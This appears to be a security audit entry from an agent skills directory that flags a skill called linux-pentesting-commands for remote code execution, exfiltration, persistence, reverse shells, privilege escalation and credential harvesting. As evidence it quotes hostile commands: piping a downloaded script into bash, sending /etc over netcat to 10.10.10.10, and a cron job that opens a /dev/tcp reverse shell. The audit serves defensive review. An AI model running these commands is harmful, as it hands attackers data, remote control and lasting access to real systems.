The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides explicit instructions for downloading and executing shell scripts from external, untrusted sources directly into a shell interpreter.
Evidence: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash in SKILL.md.
Evidence: curl http://10.10.10.10:8000/exploit.sh -o exploit.sh followed by execution instructions in SKILL.md.
[DATA_EXFILTRATION]: The skill contains commands specifically designed to package sensitive system directories and transmit them to external network addresses.
Evidence: `tar czf
/etc | base64 | nc 10.10.10.10 4444inSKILL.md`.
Evidence: Commands to find and copy all PDF files to a 'loot' directory for exfiltration.
[PERSISTENCE]: The instructions detail methods for maintaining access to a compromised system across sessions.
Evidence: Creating a cron job that executes a reverse shell every minute: (crontab -l; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'") | crontab -.
Evidence: Instructions for installing unauthorized SSH keys into ~/.ssh/authorized_keys.
[COMMAND_EXECUTION]: The skill provides numerous examples of reverse shell commands designed to grant remote control to an attacker.
Evidence: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1.
Evidence: Python and Perl one-liners for interactive socket-based shell access.
[PRIVILEGE_ESCALATION]: The skill documents several techniques to bypass security restrictions and gain root access, including environment manipulation.
Evidence: PATH hijacking via export PATH=/tmp:$PATH.
Evidence: Exploiting LD_PRELOAD with malicious shared objects to gain elevated privileges.
[CREDENTIALS_UNSAFE]: The skill includes instructions for searching the filesystem and command history for hardcoded secrets and passwords.
Evidence: grep -r "password" /etc and harvesting credentials from .bash_history.

linux-pentesting-commands